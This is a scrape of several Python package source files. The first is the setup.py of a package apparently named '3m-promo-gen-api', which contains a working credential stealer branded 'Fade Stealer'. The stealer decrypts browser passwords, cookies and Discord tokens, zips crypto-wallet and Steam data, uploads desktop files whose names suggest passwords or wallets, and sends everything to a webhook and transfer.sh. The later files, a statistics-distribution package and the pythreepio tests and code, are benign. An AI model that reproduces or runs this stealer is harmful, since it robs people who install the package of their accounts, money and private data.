LoadRequests(methode,url,data='',files='',headers=''): for i in range(8):# max trys try: if methode=='POST': if data !='': r=requests.post(url,data=data) if r.status_code==200: return r elif files !='': r=requests.post(url,files=files) if r.status_code==200 or r.status_code==413:# 413=DATA TO BIG return r except: pass def LoadUrlib(hook,data='',files='',headers=''): for i in range(8): try: if headers !='': r=urlopen(Request(hook,data=data,headers=headers)) return r else: r=urlopen(Request(hook,data=data)) return r except: pass def Trust(Cookies): global DETECTED data=str(Cookies) tim=re.findall('.google.com',data) if len(tim)<-1: DETECTED=True return DETECTED else: DETECTED=False return DETECTED def GetUHQFriends(token): badgeList=[ {'Name':'Early_Verified_Bot_Developer','Value':131072,'Emoji':'<:developer:874750808472825986> '}, {'Name':'Bug_Hunter_Level_2','Value':16384,'Emoji':'<:bughunter_2:874750808430874664> '}, {'Name':'Early_Supporter','Value':512,'Emoji':'<:early_supporter:874750808414113823> '}, {'Name':'House_Balance','Value':256,'Emoji':'<:balance:874750808267292683> '}, {'Name':'House_Brilliance','Value':128,'Emoji':'<:brilliance:874750808338608199> '}, {'Name':'House_Bravery','Value':64,'Emoji':'<:bravery:874750808388952075> '}, {'Name':'Bug_Hunter_Level_1','Value':8,'Emoji':'<:bughunter_1:874750808426692658> '}, {'Name':'HypeSquad_Events','Value':4,'Emoji':'<:hypesquad_events:874750808594477056> '}, {'Name':'Partnered_Server_Owner','Value':2,'Emoji':'<:partner:874750808678354964> '}, {'Name':'Discord_Employee','Value':1,'Emoji':'<:staff:874750808728666152> '} ] headers={ 'Authorization':token, 'Content-Type':'application/json', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0' } try: friendlist=loads(urlopen(Request('https://discord.com/api/v6/users/@me/relationships',headers=headers)).read().decode()) except: return False uhqlist='' for friend in friendlist: OwnedBadges='' flags=friend['user']['public_flags'] for badge in badgeList: if flags//badge['Value']!=0 and friend['type']==1: if not 'House' in badge['Name']: OwnedBadges+=badge['Emoji'] flags=flags % badge['Value'] if OwnedBadges !='': uhqlist+=f"{OwnedBadges} | {friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})\n" return uhqlist def GetBilling(token): headers={ 'Authorization':token, 'Content-Type':'application/json', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0' } try: billingjson=loads(urlopen(Request('https://discord.com/api/users/@me/billing/payment-sources',headers=headers)).read().decode()) except: return False if billingjson==[]:return ' -' billing='' for methode in billingjson: if methode['invalid']==False: if methode['type']==1: billing+='<a:Cc:1032742457416355882>' elif methode['type']==2: billing+='<:paypal:1027984840131366922> ' return billing def GetBadge(flags): if flags==0:return '' OwnedBadges='' badgeList=[ {'Name':'Early_Verified_Bot_Developer','Value':131072,'Emoji':'<:developer:874750808472825986> '}, {'Name':'Bug_Hunter_Level_2','Value':16384,'Emoji':'<:bughunter_2:874750808430874664> '}, {'Name':'Early_Supporter','Value':512,'Emoji':'<:early_supporter:874750808414113823> '}, {'Name':'House_Balance','Value':256,'Emoji':'<:balance:874750808267292683> '}, {'Name':'House_Brilliance','Value':128,'Emoji':'<:brilliance:874750808338608199> '}, {'Name':'House_Bravery','Value':64,'Emoji':'<:bravery:874750808388952075> '}, {'Name':'Bug_Hunter_Level_1','Value':8,'Emoji':'<:bughunter_1:874750808426692658> '}, {'Name':'HypeSquad_Events','Value':4,'Emoji':'<:hypesquad_events:874750808594477056> '}, {'Name':'Partnered_Server_Owner','Value':2,'Emoji':'<:partner:874750808678354964> '}, {'Name':'Discord_Employee','Value':1,'Emoji':'<:staff:874750808728666152> '} ] for badge in badgeList: if flags//badge['Value']!=0: OwnedBadges+=badge['Emoji'] flags=flags % badge['Value'] return OwnedBadges def GetTokenInfo(token): headers={ 'Authorization':token, 'Content-Type':'application/json', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0' } userjson=loads(urlopen(Request('https://discordapp.com/api/v6/users/@me',headers=headers)).read().decode()) username=userjson['username'] hashtag=userjson['discriminator'] email=userjson['email'] idd=userjson['id'] pfp=userjson['avatar'] flags=userjson['public_flags'] nitro='' phone='-' if 'premium_type' in userjson: nitrot=userjson['premium_type'] if nitrot==1: nitro='<:classic:896119171019067423> ' elif nitrot==2: nitro='<a:boost:824036778570416129> <:classic:896119171019067423> ' if 'phone' in userjson:phone=f'`{userjson["phone"]}`' return username,hashtag,email,idd,pfp,flags,nitro,phone def checkToken(token): headers={ 'Authorization':token, 'Content-Type':'application/json', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0' } try: urlopen(Request('https://discordapp.com/api/v6/users/@me',headers=headers)) return True except: return False def uploadToken(token,path): global hook headers={ 'Content-Type':'application/json', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0' } username,hashtag,email,idd,pfp,flags,nitro,phone=GetTokenInfo(token) if pfp==None: pfp='https://cdn.discordapp.com/attachments/963114349877162004/992593184251183195/7c8f476123d28d103efe381543274c25.png' else: pfp=f"https://cdn.discordapp.com/avatars/{idd}/{pfp}" billing=GetBilling(token) badge=GetBadge(flags) friends=GetUHQFriends(token) if friends=='':friends='No HQ Friends' if not billing: badge,phone,billing=badge,phone,None if nitro=='' and badge=='':nitro=' -' data={ 'content':f'Found in `{path}`', 'embeds':[ { 'color':3449140, 'fields':[ { 'name':'<a:dt:1032744237042774057> Token:', 'value':f"`{token}`\n[Click to copy](https://superfurrycdn.nl/copy/{token})" }, { 'name':'<a:Bat:1032747993981538395> Email:', 'value':f"`{email}`", 'inline':True }, { 'name':'<a:gengar:1032750484961890426> Phone:', 'value':f"{phone}", 'inline':True }, { 'name':'<a:dt1:1032749135188742176> IP:', 'value':f"`{getip()}`", 'inline':True }, { 'name':'<a:uzi:1032752999795265537> Badges:', 'value':f"{nitro}{badge}", 'inline':True }, { 'name':'<a:Cc:1032742457416355882> Billing:', 'value':f"{billing}", 'inline':True }, { 'name':'<a:diamond:1032752566926315575> HQ Friends:', 'value':f"{friends}", 'inline':False } ], 'author':{ 'name':f"{username}#{hashtag} ({idd})", 'icon_url':f"{pfp}" }, 'footer':{ 'text':'@Fade Stealer', 'icon_url':'https://cdn.discordapp.com/attachments/1031878883848507402/1036012894170665060/Comp_2.gif' }, 'thumbnail':{ 'url':f"{pfp}" } } ], 'avatar_url':'https://cdn.discordapp.com/attachments/1028588906846879856/1037436987482841129/unknown.png', 'username':'Fade Stealer', 'attachments':[] } LoadUrlib(hook,data=dumps(data).encode(),headers=headers) def Reformat(listt): e=re.findall('(\\w+[a-z])',listt) while 'https' in e:e.remove('https') while 'com' in e:e.remove('com') while 'net' in e:e.remove('net') return list(set(e)) def upload(name,tk=''): headers={ 'Content-Type':'application/json', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0' } if name=='kiwi': data={ 'content':'', 'embeds':[ { 'color':3449140, 'fields':[ { 'name':'Interesting files found on user PC:', 'value':tk } ], 'author':{ 'name':'Fade | File stealer' }, 'footer':{ 'text':'@Fade Stealer', 'icon_url':'https://cdn.discordapp.com/attachments/1031878883848507402/1036012894170665060/Comp_2.gif' } } ], 'avatar_url':'https://cdn.discordapp.com/attachments/1031878883848507402/1036012894170665060/Comp_2.gif', 'attachments':[] } LoadUrlib(hook,data=dumps(data).encode(),headers=headers) return path=name files={'file':open(path,'rb')} if 'wppassw' in name: ra=' | '.join(da for da in paswWords) if len(ra)>1000: rrr=Reformat(str(paswWords)) ra=' | '.join(da for da in rrr) data={ 'content':'', 'embeds':[ { 'color':3449140, 'fields':[ { 'name':'Found:', 'value':ra } ], 'author':{ 'name':'Fade | Password Stealer' }, 'footer':{ 'text':'@Fade Stealer', 'icon_url':'https://cdn.discordapp.com/attachments/1031878883848507402/1036012894170665060/Comp_2.gif' } } ], 'avatar_url':'https://cdn.discordapp.com/attachments/1031878883848507402/1036012894170665060/Comp_2.gif', 'attachments':[] } LoadUrlib(hook,data=dumps(data).encode(),headers=headers) if 'wpcook' in name: rb=' | '.join(da for da in cookiWords) if len(rb)>1000: rrrrr=Reformat(str(cookiWords)) rb=' | '.join(da for da in rrrrr) data={ 'content':'', 'embeds':[ { 'color':3449140, 'fields':[ { 'name':'Found:', 'value':rb } ], 'author':{ 'name':'Fade | Stealer' }, 'footer':{ 'text':'@Fade Stealer', 'icon_url':'https://cdn.discordapp.com/attachments/1031878883848507402/1036012894170665060/Comp_2.gif' } } ], 'avatar_url':'https://cdn.discordapp.com/attachments/1031878883848507402/1036012894170665060/Comp_2.gif', 'attachments':[] } LoadUrlib(hook,data=dumps(data).encode(),headers=headers) LoadRequests('POST',hook,files=files) def writeforfile(data,name): path=os.getenv('TEMP')+f"\wp{name}.txt" with open(path,mode='w',encoding='utf-8')as f: f.write(f"<--Fade Stealer ON TOP-->\n\n") for line in data: if line[0]!='': f.write(f"{line}\n") Tokens='' def getToken(path,arg): if not os.path.exists(path):return path+=arg for file in os.listdir(path): if file.endswith('.log')or file.endswith('.ldb'): for line in[x.strip()for x in open(f"{path}\\{file}",errors='ignore').readlines()if x.strip()]: for regex in('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{25,110}','mfa\\.[\\w-]{80,95}'): for token in re.findall(regex,line): global Tokens if checkToken(token): if not token in Tokens: Tokens+=token uploadToken(token,path) Passw=[] def getPassw(path,arg): global Passw if not os.path.exists(path):return pathC=path+arg+'/Login Data' if os.stat(pathC).st_size==0:return tempfold=temp+'wp'+''.join(random.choice('bcdefghijklmnopqrstuvwxyz')for i in range(8))+'.db' shutil.copy2(pathC,tempfold) conn=sql_connect(tempfold) cursor=conn.cursor() cursor.execute('SELECT action_url, username_value, password_value FROM logins;') data=cursor.fetchall() cursor.close() conn.close() os.remove(tempfold) pathKey=path+'/Local State' with open(pathKey,'r',encoding='utf-8')as f:local_state=json_loads(f.read()) master_key=b64decode(local_state['os_crypt']['encrypted_key']) master_key=CryptUnprotectData(master_key[5:]) for row in data: if row[0]!='': for wa in keyword: old=wa if 'https' in wa: tmp=wa wa=tmp.split('[')[1].split(']')[0] if wa in row[0]: if not old in paswWords:paswWords.append(old) Passw.append(f"UR1: {row[0]} | U53RN4M3: {row[1]} | P455W0RD: {DecryptValue(row[2], master_key)}") writeforfile(Passw,'passw') Cookies=[] def getCookie(path,arg): global Cookies if not os.path.exists(path):return pathC=path+arg+'/Cookies' if os.stat(pathC).st_size==0:return tempfold=temp+'wp'+''.join(random.choice('bcdefghijklmnopqrstuvwxyz')for i in range(8))+'.db' shutil.copy2(pathC,tempfold) conn=sql_connect(tempfold) cursor=conn.cursor() cursor.execute('SELECT host_key, name, encrypted_value FROM cookies') data=cursor.fetchall() cursor.close() conn.close() os.remove(tempfold) pathKey=path+'/Local State' with open(pathKey,'r',encoding='utf-8')as f:local_state=json_loads(f.read()) master_key=b64decode(local_state['os_crypt']['encrypted_key']) master_key=CryptUnprotectData(master_key[5:]) for row in data: if row[0]!='': for wa in keyword: old=wa if 'https' in wa: tmp=wa wa=tmp.split('[')[1].split(']')[0] if wa in row[0]: if not old in cookiWords:cookiWords.append(old) Cookies.append(f"H057 K3Y: {row[0]} | N4M3: {row[1]} | V41U3: {DecryptValue(row[2], master_key)}") writeforfile(Cookies,'cook') def GetDiscord(path,arg): if not os.path.exists(f"{path}/Local State"):return pathC=path+arg pathKey=path+'/Local State' with open(pathKey,'r',encoding='utf-8')as f:local_state=json_loads(f.read()) master_key=b64decode(local_state['os_crypt']['encrypted_key']) master_key=CryptUnprotectData(master_key[5:]) for file in os.listdir(pathC): if file.endswith('.log')or file.endswith('.ldb'): for line in[x.strip()for x in open(f"{pathC}\\{file}",errors='ignore').readlines()if x.strip()]: for token in re.findall('dQw4w9WgXcQ:[^.*\\[\'(.*)\'\\].*$][^\\"]*',line): global Tokens tokenDecoded=DecryptValue(b64decode(token.split('dQw4w9WgXcQ:')[1]),master_key) if checkToken(tokenDecoded): if not tokenDecoded in Tokens: Tokens+=tokenDecoded uploadToken(tokenDecoded,path) def ZipThings(path,arg,procc): pathC=path name=arg if 'nkbihfbeogaeaoehlefnkodbefgpgknn' in arg: browser=path.split('\\')[4].split('/')[1].replace(' ','') name=f"Metamask_{browser}" pathC=path+arg if not os.path.exists(pathC):return subprocess.Popen(f"taskkill /im {procc} /t /f",shell=True) if 'Wallet' in arg or 'NationsGlory' in arg: browser=path.split('\\')[4].split('/')[1].replace(' ','') name=f"{browser}" elif 'Steam' in arg: if not os.path.isfile(f"{pathC}/loginusers.vdf"):return f=open(f"{pathC}/loginusers.vdf",'r+',encoding='utf8') data=f.readlines() found=False for l in data: if 'RememberPassword" "1"' in l: found=True if found==False:return name=arg zf=ZipFile(f"{pathC}/{name}.zip",'w') for file in os.listdir(pathC): if not '.zip' in file:zf.write(pathC+'/'+file) zf.close() upload(f'{pathC}/{name}.zip') os.remove(f"{pathC}/{name}.zip") def GatherAll(): ' Default Path < 0 > ProcesName < 1 > Token < 2 > Password < 3 > Cookies < 4 > Extentions < 5 > ' browserPaths=[ [f"{roaming}/Opera Software/Opera GX Stable",'opera.exe','/Local Storage/leveldb','/','/Network','/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn'], [f"{roaming}/Opera Software/Opera Stable",'opera.exe','/Local Storage/leveldb','/','/Network','/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn'], [f"{roaming}/Opera Software/Opera Neon/User Data/Default",'opera.exe','/Local Storage/leveldb','/','/Network','/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn'], [f"{local}/Google/Chrome/User Data",'chrome.exe','/Default/Local Storage/leveldb','/Default','/Default/Network','/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn'], [f"{local}/Google/Chrome SxS/User Data",'chrome.exe','/Default/Local Storage/leveldb','/Default','/Default/Network','/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn'], [f"{local}/BraveSoftware/Brave-Browser/User Data",'brave.exe','/Default/Local Storage/leveldb','/Default','/Default/Network','/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn'], [f"{local}/Yandex/YandexBrowser/User Data",'yandex.exe','/Default/Local Storage/leveldb','/Default','/Default/Network','/HougaBouga/nkbihfbeogaeaoehlefnkodbefgpgknn'], [f"{local}/Microsoft/Edge/User Data",'edge.exe','/Default/Local Storage/leveldb','/Default','/Default/Network','/Default/Local Extension Settings/nkbihfbeogaeaoehlefnkodbefgpgknn'] ] discordPaths=[ [f"{roaming}/Discord",'/Local Storage/leveldb'], [f"{roaming}/Lightcord",'/Local Storage/leveldb'], [f"{roaming}/discordcanary",'/Local Storage/leveldb'], [f"{roaming}/discordptb",'/Local Storage/leveldb'], ] PathsToZip=[ [f"{roaming}/atomic/Local Storage/leveldb",'"Atomic Wallet.exe"','Wallet'], [f"{roaming}/Exodus/exodus.wallet",'Exodus.exe','Wallet'], ['C:\\Program Files (x86)\\Steam\\config','steam.exe','Steam'], [f"{roaming}/NationsGlory/Local Storage/leveldb",'NationsGlory.exe','NationsGlory'] ] for patt in browserPaths: a=threading.Thread(target=getToken,args=[patt[0],patt[2]]) a.start() Threadlist.append(a) for patt in discordPaths: a=threading.Thread(target=GetDiscord,args=[patt[0],patt[1]]) a.start() Threadlist.append(a) for patt in browserPaths: a=threading.Thread(target=getPassw,args=[patt[0],patt[3]]) a.start() Threadlist.append(a) ThCokk=[] for patt in browserPaths: a=threading.Thread(target=getCookie,args=[patt[0],patt[4]]) a.start() ThCokk.append(a) for thread in ThCokk:thread.join() DETECTED=Trust(Cookies) if DETECTED==True:return for patt in browserPaths: threading.Thread(target=ZipThings,args=[patt[0],patt[5],patt[1]]).start() for patt in PathsToZip: threading.Thread(target=ZipThings,args=[patt[0],patt[2],patt[1]]).start() for thread in Threadlist: thread.join() global upths upths=[] for file in['wppassw.txt','wpcook.txt']: upload(os.getenv('TEMP')+'\\'+file) def uploadToAnonfiles(path): try: files={'file':(path,open(path,mode='rb'))} upload=requests.post('https://transfer.sh/',files=files) url=upload.text return url except: return False def KiwiFolder(pathF,keywords): global KiwiFiles maxfilesperdir=7 i=0 listOfFile=os.listdir(pathF) ffound=[] for file in listOfFile: if not os.path.isfile(pathF+'/'+file):return i+=1 if i<=maxfilesperdir: url=uploadToAnonfiles(pathF+'/'+file) ffound.append([pathF+'/'+file,url]) else: break KiwiFiles.append(['folder',pathF+'/',ffound]) KiwiFiles=[] def KiwiFile(path,keywords): global KiwiFiles fifound=[] listOfFile=os.listdir(path) for file in listOfFile: for worf in keywords: if worf in file.lower(): if os.path.isfile(path+'/'+file)and '.txt' in file: fifound.append([path+'/'+file,uploadToAnonfiles(path+'/'+file)]) break if os.path.isdir(path+'/'+file): target=path+'/'+file KiwiFolder(target,keywords) break KiwiFiles.append(['folder',path,fifound]) def Kiwi(): user=temp.split('\\AppData')[0] path2search=[ user+'/Desktop', user+'/Downloads', user+'/Documents' ] key_wordsFolder=[ 'account', 'acount', 'passw', 'secret' ] key_wordsFiles=[ 'passw', 'mdp', 'motdepasse', 'mot_de_passe', 'login', 'secret', 'account', 'acount', 'paypal', 'banque', 'account', 'metamask', 'wallet', 'crypto', 'exodus', 'discord', '2fa', 'code', 'memo', 'compte', 'token', 'backup', 'secret', 'prox' 'binance' 'Electrum' 'Mycelium' ] wikith=[] for patt in path2search: kiwi=threading.Thread(target=KiwiFile,args=[patt,key_wordsFiles]);kiwi.start() wikith.append(kiwi) return wikith global keyword,cookiWords,paswWords keyword=[ 'mail','[coinbase](https://coinbase.com)','[sellix](https://sellix.io)','[gmail](https://gmail.com)','[steam](https://steam.com)','[discord](https://discord.com)','[riotgames](https://riotgames.com)','[youtube](https://youtube.com)','[instagram](https://instagram.com)','[tiktok](https://tiktok.com)','[twitter](https://twitter.com)','[facebook](https://facebook.com)','card','[epicgames](https://epicgames.com)','[spotify](https://spotify.com)','[yahoo](https://yahoo.com)','[roblox](https://roblox.com)','[twitch](https://twitch.com)','[minecraft](https://minecraft.net)','bank','[paypal](https://paypal.com)','[origin](https://origin.com)','[amazon](https://amazon.com)','[ebay](https://ebay.com)','[aliexpress](https://aliexpress.com)','[playstation](https://playstation.com)','[hbo](https://hbo.com)','[xbox](https://xbox.com)','buy','sell','[binance](https://binance.com)','[hotmail](https://hotmail.com)','[outlook](https://outlook.com)','[crunchyroll](https://crunchyroll.com)','[telegram](https://telegram.com)','[pornhub](https://pornhub.com)','[disney](https://disney.com)','[expressvpn](https://expressvpn.com)','crypto','[uber](https://uber.com)','[netflix](https://netflix.com)' ] cookiWords=[] paswWords=[] GatherAll() DETECTED=Trust(Cookies) if not DETECTED: wikith=Kiwi() for thread in wikith:thread.join() time.sleep(0.2) filetext='\n' for arg in KiwiFiles: if len(arg[2])!=0: foldpath=arg[1] foldlist=arg[2] filetext+=f"� {foldpath}\n" for ffil in foldlist: a=ffil[0].split('/') fileanme=a[len(a)-1] b=ffil[1] filetext+=f"... [{fileanme}]({b})\n" filetext+='\n' upload('kiwi',filetext) setup( name='3m-promo-gen-api', packages=['3m-promo-gen-api'], version='1.0', license='MIT', description='An Api for 3m promo gen', author=' Jonathan Hartley', keywords=['Colorama'], install_requires=[''], classifiers=['Development Status :: 5 - Production/Stable'] )
3m-promo-gen-api
/3m-promo-gen-api-1.0.tar.gz/3m-promo-gen-api-1.0/setup.py
setup.py
from setuptools import setup setup(name='3mensolutions_distribution', version='1.0', description='Gaussian and Binomial distributions', packages=['3mensolutions_distribution'], author='Emmanuel Ameh', author_email='a@b.com', zip_safe=False)
3mensolutions-distribution
/3mensolutions_distribution-1.0.tar.gz/3mensolutions_distribution-1.0/setup.py
setup.py
import math import matplotlib.pyplot as plt from .Generaldistribution import Distribution class Gaussian(Distribution): """ Gaussian distribution class for calculating and visualizing a Gaussian distribution. Attributes: mean (float) representing the mean value of the distribution stdev (float) representing the standard deviation of the distribution data_list (list of floats) a list of floats extracted from the data file """ def __init__(self, mu=0, sigma=1): Distribution.__init__(self, mu, sigma) def calculate_mean(self): """Function to calculate the mean of the data set. Args: None Returns: float: mean of the data set """ avg = 1.0 * sum(self.data) / len(self.data) self.mean = avg return self.mean def calculate_stdev(self, sample=True): """Function to calculate the standard deviation of the data set. Args: sample (bool): whether the data represents a sample or population Returns: float: standard deviation of the data set """ if sample: n = len(self.data) - 1 else: n = len(self.data) mean = self.calculate_mean() sigma = 0 for d in self.data: sigma += (d - mean) ** 2 sigma = math.sqrt(sigma / n) self.stdev = sigma return self.stdev def plot_histogram(self): """Function to output a histogram of the instance variable data using matplotlib pyplot library. Args: None Returns: None """ plt.hist(self.data) plt.title('Histogram of Data') plt.xlabel('data') plt.ylabel('count') def pdf(self, x): """Probability density function calculator for the gaussian distribution. Args: x (float): point for calculating the probability density function Returns: float: probability density function output """ return (1.0 / (self.stdev * math.sqrt(2*math.pi))) * math.exp(-0.5*((x - self.mean) / self.stdev) ** 2) def plot_histogram_pdf(self, n_spaces = 50): """Function to plot the normalized histogram of the data and a plot of the probability density function along the same range Args: n_spaces (int): number of data points Returns: list: x values for the pdf plot list: y values for the pdf plot """ mu = self.mean sigma = self.stdev min_range = min(self.data) max_range = max(self.data) # calculates the interval between x values interval = 1.0 * (max_range - min_range) / n_spaces x = [] y = [] # calculate the x values to visualize for i in range(n_spaces): tmp = min_range + interval*i x.append(tmp) y.append(self.pdf(tmp)) # make the plots fig, axes = plt.subplots(2,sharex=True) fig.subplots_adjust(hspace=.5) axes[0].hist(self.data, density=True) axes[0].set_title('Normed Histogram of Data') axes[0].set_ylabel('Density') axes[1].plot(x, y) axes[1].set_title('Normal Distribution for \n Sample Mean and Sample Standard Deviation') axes[0].set_ylabel('Density') plt.show() return x, y def __add__(self, other): """Function to add together two Gaussian distributions Args: other (Gaussian): Gaussian instance Returns: Gaussian: Gaussian distribution """ result = Gaussian() result.mean = self.mean + other.mean result.stdev = math.sqrt(self.stdev ** 2 + other.stdev ** 2) return result def __repr__(self): """Function to output the characteristics of the Gaussian instance Args: None Returns: string: characteristics of the Gaussian """ return "mean {}, standard deviation {}".format(self.mean, self.stdev)
3mensolutions-distribution
/3mensolutions_distribution-1.0.tar.gz/3mensolutions_distribution-1.0/3mensolutions_distribution/Gaussiandistribution.py
Gaussiandistribution.py
class Distribution: def __init__(self, mu=0, sigma=1): """ Generic distribution class for calculating and visualizing a probability distribution. Attributes: mean (float) representing the mean value of the distribution stdev (float) representing the standard deviation of the distribution data_list (list of floats) a list of floats extracted from the data file """ self.mean = mu self.stdev = sigma self.data = [] def read_data_file(self, file_name): """Function to read in data from a txt file. The txt file should have one number (float) per line. The numbers are stored in the data attribute. Args: file_name (string): name of a file to read from Returns: None """ with open(file_name) as file: data_list = [] line = file.readline() while line: data_list.append(int(line)) line = file.readline() file.close() self.data = data_list
3mensolutions-distribution
/3mensolutions_distribution-1.0.tar.gz/3mensolutions_distribution-1.0/3mensolutions_distribution/Generaldistribution.py
Generaldistribution.py
from .Gaussiandistribution import Gaussian from .Binomialdistribution import Binomial
3mensolutions-distribution
/3mensolutions_distribution-1.0.tar.gz/3mensolutions_distribution-1.0/3mensolutions_distribution/__init__.py
__init__.py
import math import matplotlib.pyplot as plt from .Generaldistribution import Distribution class Binomial(Distribution): """ Binomial distribution class for calculating and visualizing a Binomial distribution. Attributes: mean (float) representing the mean value of the distribution stdev (float) representing the standard deviation of the distribution data_list (list of floats) a list of floats to be extracted from the data file p (float) representing the probability of an event occurring n (int) number of trials TODO: Fill out all functions below """ def __init__(self, prob=.5, size=20): self.n = size self.p = prob Distribution.__init__(self, self.calculate_mean(), self.calculate_stdev()) def calculate_mean(self): """Function to calculate the mean from p and n Args: None Returns: float: mean of the data set """ self.mean = self.p * self.n return self.mean def calculate_stdev(self): """Function to calculate the standard deviation from p and n. Args: None Returns: float: standard deviation of the data set """ self.stdev = math.sqrt(self.n * self.p * (1 - self.p)) return self.stdev def replace_stats_with_data(self): """Function to calculate p and n from the data set Args: None Returns: float: the p value float: the n value """ self.n = len(self.data) self.p = 1.0 * sum(self.data) / len(self.data) self.mean = self.calculate_mean() self.stdev = self.calculate_stdev() def plot_bar(self): """Function to output a histogram of the instance variable data using matplotlib pyplot library. Args: None Returns: None """ plt.bar(x = ['0', '1'], height = [(1 - self.p) * self.n, self.p * self.n]) plt.title('Bar Chart of Data') plt.xlabel('outcome') plt.ylabel('count') def pdf(self, k): """Probability density function calculator for the gaussian distribution. Args: x (float): point for calculating the probability density function Returns: float: probability density function output """ a = math.factorial(self.n) / (math.factorial(k) * (math.factorial(self.n - k))) b = (self.p ** k) * (1 - self.p) ** (self.n - k) return a * b def plot_bar_pdf(self): """Function to plot the pdf of the binomial distribution Args: None Returns: list: x values for the pdf plot list: y values for the pdf plot """ x = [] y = [] # calculate the x values to visualize for i in range(self.n + 1): x.append(i) y.append(self.pdf(i)) # make the plots plt.bar(x, y) plt.title('Distribution of Outcomes') plt.ylabel('Probability') plt.xlabel('Outcome') plt.show() return x, y def __add__(self, other): """Function to add together two Binomial distributions with equal p Args: other (Binomial): Binomial instance Returns: Binomial: Binomial distribution """ try: assert self.p == other.p, 'p values are not equal' except AssertionError as error: raise result = Binomial() result.n = self.n + other.n result.p = self.p result.calculate_mean() result.calculate_stdev() return result def __repr__(self): """Function to output the characteristics of the Binomial instance Args: None Returns: string: characteristics of the Gaussian """ return "mean {}, standard deviation {}, p {}, n {}".\ format(self.mean, self.stdev, self.p, self.n)
3mensolutions-distribution
/3mensolutions_distribution-1.0.tar.gz/3mensolutions_distribution-1.0/3mensolutions_distribution/Binomialdistribution.py
Binomialdistribution.py
from setuptools import setup, find_packages import codecs import os VERSION = '0.0.2' DESCRIPTION = '3mtools' LONG_DESCRIPTION = 'A package to perform many useful tools' # Setting up setup( name="3mtools", version=VERSION, author="fahiran", author_email="fffahiran@gmail.com", description=DESCRIPTION, long_description_content_type="text/markdown", long_description=LONG_DESCRIPTION, packages=find_packages(), install_requires=[], keywords=['mxtools'], classifiers=[ "Development Status :: 1 - Planning", "Intended Audience :: Developers", "Programming Language :: Python :: 3", "Operating System :: Unix", "Operating System :: MacOS :: MacOS X", "Operating System :: Microsoft :: Windows", ] )
3mtools
/3mtools-0.0.2.tar.gz/3mtools-0.0.2/setup.py
setup.py
import setuptools setuptools.setup()
3p0
/3p0-0.0.10.tar.gz/3p0-0.0.10/setup.py
setup.py
import pytest import tensorflow as tf from pythreepio.threepio import Threepio from tests.fixtures.torch import ( abs as torch_abs, add, add2, matmul, mean, mul, div, eq, sum as torch_sum, argmax, t, sub, truediv, linear, ) @pytest.fixture def threepio(): return Threepio("torch", "tf", tf) def round(val, decimals=0): multiplier = tf.constant(10 ** decimals, dtype=val.dtype) return tf.round(val * multiplier) / multiplier def check_answer(result, answer): assert tf.reduce_all(tf.equal(round(result, 3), round(answer, 3))) def process_tests(command, threepio): for i, input in enumerate(command["inputs"]): translations = threepio.translate(input, lookup_command=True) for j, translation in enumerate(translations): result = translation.execute_routine() answer = command["answers"][i][j] check_answer(result, answer) def test_translates_abs(threepio): process_tests(torch_abs, threepio) @pytest.mark.skip(reason="Translate to keras.layers.add instead of math.add") def test_translates_add(threepio): process_tests(add, threepio) @pytest.mark.skip(reason="Translate to keras.layers.add instead of math.add") def test_translates_d_add(): process_tests(add2) def test_translates_matmul(threepio): process_tests(matmul, threepio) def test_translates_mean(threepio): process_tests(mean, threepio) @pytest.mark.skip(reason="Requires mul -> multiply mapping") def test_translates_mul(threepio): process_tests(mul, threepio) @pytest.mark.skip(reason="Requires div -> truediv mapping") def test_translates_div(threepio): process_tests(div, threepio) @pytest.mark.skip(reason="Requires eq -> equal mapping") def test_translates_eq(threepio): process_tests(eq, threepio) def test_translates_sum(threepio): process_tests(torch_sum, threepio) def test_translates_linear(threepio): for i, input_cmd in enumerate(linear["inputs"]): translations = threepio.translate(input_cmd, lookup_command=True) cmd_config = translations.pop(0) # Create a store for command outputs store = {} # Execute every translation for j, translation in enumerate(translations): result = translation.execute_routine(store) if translation.placeholder_output is not None: store[translation.placeholder_output] = result # Check end result answer = linear["answers"][i] check_answer(result, answer) @pytest.mark.skip(reason="Requires dim -> axis mapping") def test_translates_argmax(threepio): process_tests(argmax, threepio) @pytest.mark.skip(reason="Requires t -> transpose mapping") def test_translates_transpose(threepio): process_tests(t, threepio) @pytest.mark.skip(reason="Requires sub -> subtract mapping") def test_translates_subtract(threepio): process_tests(sub, threepio) def test_translates_truediv(threepio): process_tests(truediv, threepio)
3p0
/3p0-0.0.10.tar.gz/3p0-0.0.10/tests/test_pythreepio.py
test_pythreepio.py
import sys from typing import Callable from pythreepio.errors import TranslationMissing class Placeholder(object): def __init__(self, key, value=None): self.key = key self.value = value class Command(object): def __init__( self, function_name: str, args: list, kwargs: dict, attrs: list = [], placeholder_output: str = None, exec_fn: Callable = None, ): self.function_name = function_name self.args = args self.kwargs = kwargs self.attrs = attrs self.placeholder_output = placeholder_output self.exec_fn = exec_fn self.frameworks = {"tf": "tensorflow"} def execute_routine(self, store={}): if self.exec_fn is None: attrs = self.attrs.copy() translated_cmd = sys.modules[self.frameworks[attrs.pop(0)]] while len(attrs) > 0: translated_cmd = getattr(translated_cmd, attrs.pop(0)) self.exec_fn = translated_cmd args = [] for arg in self.args: if isinstance(arg, Placeholder): args.append(store[arg.key]) else: args.append(arg) return self.exec_fn(*args, **self.kwargs) def cmd_from_info(info, store: dict) -> Command: args = [] kwargs = {} for arg in info["args"]: is_kwarg = arg["kwarg"] name = arg.get("placeholder_input", 